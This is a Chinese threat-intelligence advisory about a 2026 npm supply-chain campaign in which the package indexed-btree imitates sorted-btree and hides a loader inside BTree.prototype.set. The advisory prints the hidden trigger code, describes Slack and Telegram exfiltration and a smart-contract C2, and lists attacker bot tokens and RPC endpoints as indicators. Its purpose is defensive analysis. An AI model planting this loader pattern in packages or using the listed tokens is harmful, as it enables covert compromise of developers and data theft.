npm供应链攻防进入”运行时时代”:200万周下载的恶意包如何绕开npmv12防线

admin 2026-09-24 05:52:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 奇安信威胁情报中心披露一起活跃的npm供应链攻击活动,恶意包indexed-btree仿冒合法库sorted-btree,通过将恶意代码嵌入常规业务函数而非安装脚本,绕开npmv12对生命周期脚本的封堵,周下载量近200万,攻击者获利约109ETH。攻击链包括主机指纹外泄、智能合约C2通信及链上密钥交换解密第二阶段载荷。建议排查受影响包、轮换凭据,并引入运行时行为分析、收紧依赖准入等长期防御措施。 综合评分: 88 文章分类: 供应链安全,恶意软件,漏洞预警


npm 供应链攻防进入”运行时时代”:200 万周下载的恶意包如何绕开 npm v12 防线

原创

威胁情报中心 威胁情报中心

奇安信威胁情报中心

2026年9月22日 17:16 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

事件预警通报 · 供应链安全 · 恶意软件分析

npm 供应链攻防进入”运行时时代” 200 万周下载的恶意包如何绕开 npm v12 防线

Checkmarx Zero 披露活跃中的 npm 供应链攻击:恶意包 indexed-btree 不使用任何安装脚本,把恶意代码直接埋进常规业务函数,待开发者真正调用时才执行——npm v12 针对生命周期脚本的封堵在这类攻击面前基本失效。

· indexed-btree / btree-core / 智能合约 C2 · 约 109 ETH 获利 · 2026 年 9 月

01 事件速览

2026 年 9 月 17 日,Checkmarx Zero 研究团队披露了一起正在活跃进行中的 npm 供应链攻击活动。攻击者投放了一个名为 indexed-btree 的恶意包,该包仿冒合法的 B 树索引工具库 sorted-btree,在被下架前已积累了接近 200 万的周下载量。与该包关联的另外 9 个恶意包随后被 npm 官方移除,其中 btree-core 的下载量高达约 195 万次。

截至报告发布时,攻击者关联的以太坊钱包地址显示其似乎已获利约 109 ETH(约合 23 万欧元)。

这起活动之所以值得高度关注,不在于其规模,而在于其手法:它完全没有使用 preinstall / postinstall 等安装脚本,恶意代码被直接埋进了包的常规业务函数里,只有在开发者真正调用该库时才会执行。这意味着 npm 此前针对生命周期脚本的封堵措施,在这类攻击面前基本失效。

【预警提示】 若贵单位的源码仓库、package-lock.json、构建镜像、开发者工作站或 CI/CD 流水线中存在本文技术附录所列的任何包名,请立即移除、轮换可能暴露的凭据,并排查相关日志。

02 背景:npm 封堵安装脚本之后,攻击者去了哪里

要理解这次攻击的意义,需要先回顾 npm 生态近期的防御演进。

长期以来,preinstall、install、postinstall 等生命周期脚本是 npm 供应链攻击的主要执行载体——恶意包在安装阶段就自动运行任意代码,此前多起大规模事件均依赖这一机制。为此,npm 在 v12 版本(2026 年 6 月落地)中引入了重大变更:默认阻止依赖包的生命周期脚本执行,除非获得显式授权。

这一改动当时被普遍认为能显著抬高攻击门槛。但 Checkmarx 在此前的分析文章中就曾预判:封堵安装脚本并不会消灭攻击,只会迫使攻击者把恶意代码的执行时机从”安装阶段”推迟到”导入/运行阶段”。

indexed-btree 正是这一预判的现实样本。更危险的是,封堵措施还可能产生一种虚假的安全感——防御方看到 package.json 里没有 install 脚本,就容易误判该包”是干净的”。而这次的活动证明,这种判断逻辑已经不可靠。

图1 | 攻击执行时机迁移对比——传统 npm 恶意包依赖安装期钩子执行,被 npm v12 封堵后,攻击者将执行时机后移至运行时(图源:本文根据 Checkmarx Zero 报告内容自绘)

03 攻击手法剖析

本次活动的完整攻击链如下图所示,涵盖从恶意包投放、运行时触发、主机指纹外泄,到智能合约 C2 通信、第二阶段载荷投递及痕迹清理的全过程:

图2 | npm “btree” 恶意软件活动完整攻击链,包含六个阶段的关键技术细节与关联基础设施(图源:本文根据 Checkmarx Zero 报告内容自绘)

3.1 伪装:一套完整的”合法身份”包装

攻击者在社会工程层面下了很大功夫,让恶意包看起来像一个正常的开源项目:

  • 命名仿冒:indexed-btree 模仿知名合法包 sorted-btree(一个普通的 B 树/索引工具库),利用开发者搜索、拼写失误或依赖混淆进入项目。
  • 配套 GitHub 仓库:攻击者专门搭建了名为 INDEXED-BTREE/indexed-btree 的 GitHub 仓库,配有大量看似正常的提交记录。攻击者通常不会费心维护一个仓库,而这一仓库刻意不包含恶意代码——它的唯一作用是取信于人。
  • 伪造开发者账号:关联账号虽然没有太多活动和详细简介,但使用了 AI 生成的头像照片,初看之下足以乱真。

图3 | 恶意包 indexed-btree 的 GitHub 仓库主页,可见 106 次提交记录与正常的项目结构,仓库本身不含恶意代码(图源:Checkmarx Zero)

图4 | 攻击者伪造的 GitHub 开发者账号 charlessadler25,使用 AI 生成的头像照片,账号本身几乎无公开活动(图源:Checkmarx Zero)

没有安装脚本、有像样的仓库、有”活跃”的提交历史——三重包装叠加,足以骗过大多数开发者的快速审查,也可能骗过只看元数据的自动化检测工具。

3.2 触发机制:藏在核心函数里的加载器

由于 package.json 中不存在任何安装钩子,仅仅执行 npm install 不会触发任何恶意行为。真正的机关藏在库的核心方法 BTree.prototype.set 中——这是使用者在日常开发中必定会频繁调用的写入函数:

BTree.prototype.set = function (key, value, overwrite) {

  try {

    const path = require(“path”);

    const fs = require(“fs”);

    const {spawn} = require(“child_process”);

    const loadPath = path.join(__dirname, “extended”, “sharedLoad.min.js”);

    if (fs.existsSync(loadPath) && key == 100) {

      let child = spawn(“node”, [loadPath, String(key)], {

        detached: true,

        stdio: “ignore”,

        windowsHide: true,

      });

      child.unref();

    }

  } catch(error) {}

  // …

};

这段代码有几个值得注意的细节:

  1. 条件触发:恶意加载器只在 set() 被调用且键值等于 100 时才会启动,并非每次调用都执行。这种设计既能在真实使用中必然命中,又增加了简单动态测试的漏检概率。
  2. 静默执行:通过 child_process.spawn 以分离(detached)模式拉起一个独立 Node 子进程运行混淆后的第一阶段载荷 extended/sharedLoad.min.js,stdio: “ignore” 丢弃所有输出,windowsHide: true 隐藏窗口,child.unref() 使子进程脱离父进程生命周期。
  3. 吞掉异常:整个触发代码被包裹在空的 try…catch 中,任何失败都不会报错、不会留下日志。

由于”安装钩子”完全干净,而触发逻辑又混在原型方法的正常代码里,这种手法可以有效绕过常见的静态扫描器和污点分析工具——它们大多聚焦安装脚本和明显的可疑调用,很难识别一个”正常函数体内”的条件化加载逻辑。

3.3 恶意行为链:从主机指纹到区块链 C2

被拉起的 sharedLoad.min.js 是经过重度混淆的载荷(采用了字符串数组编码、自校验和数组轮转等常见混淆技术),其行为可分为四个环节:

(1)主机指纹采集与回传 收集受害主机的操作系统架构、主机名、CPU / 内存 / 运行时长等信息,外泄至硬编码的 Slack 频道和 Telegram 聊天中。

(2)以智能合约作为 C2 通道 这是本次活动最具特色的设计。恶意软件不直接请求某个域名或 IP,而是轮询部署在以太坊 Sepolia 测试网 上的一个智能合约。该合约对外暴露 getter / setter 函数,充当 C2 指令的”指针”:当旧的 C2 地址被下架时,攻击者只需更新合约中存储的值,即可把所有感染主机指向新地址。相比传统域名 C2,这种模式对域名 / IP 封堵的韧性更强。

(3)链上密钥交换解锁第二阶段载荷 加载器自行生成一对 X25519 密钥对,并从合约中读取攻击者的 X25519 公钥,随后通过椭圆曲线迪菲-赫尔曼(ECDH)计算出共享秘密,据此派生出 AES 对称密钥。恶意软件使用这把 AES 密钥解密存储在合约中的两段密文,将其合并后得到完整的第二阶段载荷。

这套设计的隐蔽性在于:完整的恶意载荷从不落地在 npm 包里,包内只有加载器和解密逻辑,真正的攻击代码以加密形态躺在区块链上,静态审计 npm 包本身无法看到最终载荷。上述 C2 通信与密钥交换的完整交互过程如下图所示:

图5 | 智能合约 C2 与链上密钥交换流程——加载器经 RPC 端点轮询合约,通过 X25519 ECDH 协商派生 AES 密钥,解密链上密文还原第二阶段载荷(图源:本文根据 Checkmarx Zero 报告内容自绘)

(4)痕迹清理 恶意软件还具备反取证能力,可以删除自身的恶意文件,并从主原型函数中移除触发代码,增加事后溯源分析的难度。

04 影响范围与关联分析

除主样本 indexed-btree 外,本次活动中被移除的关联恶意包还包括 btree-core、btree-leaderboard、btree-lru-cache 等 9 个,命名均围绕”B 树 / 索引 / 缓存 / 队列”等数据结构工具主题,单包下载量在 36 万至 195 万之间(完整清单见技术附录)。

值得注意的是,Checkmarx 还发现同一攻击者的智能合约此前曾在另一个恶意包 mutex-forge 中出现,说明该攻击者并非首次作案,而是持续运营同一套 C2 基础设施的惯犯。

考虑到 npm 包的依赖传递特性,这些包很可能已经被拉入大量企业的构建系统、测试环境和生产服务中。即便包已从官方仓库移除,本地 node_modules、锁文件、构建缓存和容器镜像中仍可能存在残留。

05 防御启示与处置建议

为什么说”没有安装脚本”不再是安全的代名词

这次活动的核心教训是:封堵生命周期脚本仍然值得做,但它只是一个不完整的缓解措施。安装时检查只能证明一个包”在安装时是安静的”。要抓住这类威胁,必须把目光转向运行时——一个包在真实被调用时会做什么、会拉起什么子进程、会访问什么网络资源,才是本质问题。

处置建议

针对已受影响的环境:

  1. 全局排查源码树、package-lock.json / 锁文件、构建镜像、开发者工作站和 CI 系统中是否存在技术附录所列包名;
  2. 移除相关包,并轮换可能暴露的各类凭据(环境变量中的密钥、令牌等);
  3. 排查网络和进程日志中是否存在附录所列的 RPC 端点、Slack / Telegram 外泄通道等连接痕迹。

针对长期防御:

  1. 引入运行时行为分析:在隔离环境(沙箱)中实际运行可疑包,监控其子进程创建、文件系统变更、网络外联等行为,特别是常见方法被调用后的动作;
  2. 收紧依赖准入:锁定经审查的依赖版本,维护并及时更新 SBOM(软件物料清单),对新增或突然变更的依赖包实施人工审批;
  3. 审查维度下沉:依赖审查不应止步于包名和下载量,还应覆盖维护者身份、发布历史、仓库与 npm 实际分发代码的一致性;
  4. 升级 npm 至 v12 及以上:虽然无法阻止本次这类运行时攻击,但封堵生命周期脚本仍能消除一大类传统攻击面。

06 技术附录

6.1 MITRE ATT&CK 技术映射

| | | | | | — | — | — | — | | 战术阶段 | 技术 ID | 技术名称 | 本次活动中的体现 | | 初始访问 | T1195.002 | 供应链妥协:软件供应链 | 通过 npm 官方仓库投递仿冒 sorted-btree 的恶意包,借助依赖安装进入受害环境 | | 伪装 | T1036 | 伪装 | 包名仿冒合法库;配套伪造 GitHub 仓库、提交历史及 AI 生成头像的开发者账号 | | 执行 | T1059.007 | 命令与脚本解释器:JavaScript | 恶意逻辑嵌入 BTree.prototype.set 方法,经 child_process.spawn 拉起独立 Node 进程执行载荷 | | 防御规避 | T1027 | 混淆文件或信息 | 载荷 sharedLoad.min.js 采用字符串数组编码、自校验和数组轮转等混淆技术 | | 防御规避 | T1070.004 | 痕迹清除:文件删除 | 具备删除恶意文件并移除原型函数中触发代码的自清理能力 | | 发现 | T1082 | 系统信息发现 | 采集操作系统架构、主机名、CPU / 内存 / 运行时长等主机指纹 | | 命令与控制 | T1071.001 | 应用层协议:Web 协议 | 通过 HTTPS RPC 端点轮询以太坊 Sepolia 测试网智能合约获取 C2 指令 | | 命令与控制 | T1573.001 | 加密通道:对称加密 | 基于 X25519 ECDH 密钥交换派生 AES 密钥,解密存储于链上的第二阶段载荷 | | 外泄 | T1102 | Web 服务 | 将主机信息外泄至硬编码的 Slack 频道与 Telegram 聊天 |

6.2 失陷指标(IoC)

恶意 npm 包清单

| | | | | — | — | — | | 包名 | 下载量 | 备注 | | indexed-btree | 近 200 万/周 | 主恶意样本,仿冒 sorted-btree | | btree-core | 1,951,274 | 已移除 | | btree-leaderboard | 493,685 | 已移除 | | btree-range-store | 468,092 | 已移除 | | ordered-kv-index | 448,184 | 已移除 | | sliding-score-window | 448,024 | 已移除 | | btree-time-index | 425,312 | 已移除 | | priority-slot-queue | 402,860 | 已移除 | | btree-lru-cache | 372,185 | 已移除 | | neighbor-key-map | 366,019 | 已移除 | | mutex-forge | — | 历史关联包,曾使用同一智能合约 |

恶意文件

| | | | — | — | | 类型 | 指标 | | 载荷文件路径 | extended/sharedLoad.min.js (位于包目录内) | | 伪造 GitHub 仓库 | https://github.com/INDEXED-BTREE/indexed-btree |

以太坊 Sepolia 智能合约(C2)

| | | | — | — | | 类型 | 指标 | | 合约地址 | 0xE390863Dac96a7118C71227C2b099B50cF602D31 |

RPC 端点

https://eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI

https://sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938

Telegram 外泄通道

| | | | — | — | | 类型 | 指标 | | Bot Token | 8961878831:AAG4WTbRUcbXI5UCaN4VXK8k57ghqqkg_qI | | Chat ID | -1003952553968 |

Slack 外泄通道

| | | | — | — | | 类型 | 指标 | | Bot Token | xoxb-11307403103236-11289767127959-U58yt3zLurAvVoZOf0OBtxCW | | Channel ID | C0B8XPGCKQS |

加密密钥

| | | | — | — | | 类型 | 指标 | | 硬编码 X25519 公钥 (SPKI/DER,十六进制) | bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 |

07 参考链接

1. Checkmarx Zero:npm ‘btree’ Malware Campaign Affects Millions of Downloads, No Need for Install Script https://checkmarx.com/zero-post/npm-btree-malware-campaign-affects-millions-of-downloads-no-need-for-install-script/

2. BleepingComputer:Malicious npm packages evade install-script defenses at runtime https://www.bleepingcomputer.com/news/security/malicious-npm-packages-evade-install-script-defenses-at-runtime/

3. Cyber Security News:Malicious npm Package With 2 Million Downloads Hides Malware in Runtime Code https://cybersecuritynews.com/malicious-npm-package/

4. CyberPress:npm Supply Chain Attack Hides Malware Inside Normal Package Code to Evade Detection https://cyberpress.org/npm-malware-evades-detection/

5. GBHackers:10 Malicious npm Packages Linked to Runtime Malware Campaign With Millions of Downloads https://gbhackers.com/10-malicious-npm-packages/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:奇安信威胁情报中心 威胁情报中心 威胁情报中心《npm 供应链攻防进入”运行时时代”:200 万周下载的恶意包如何绕开 npm v12 防线》

评论:0   参与:  0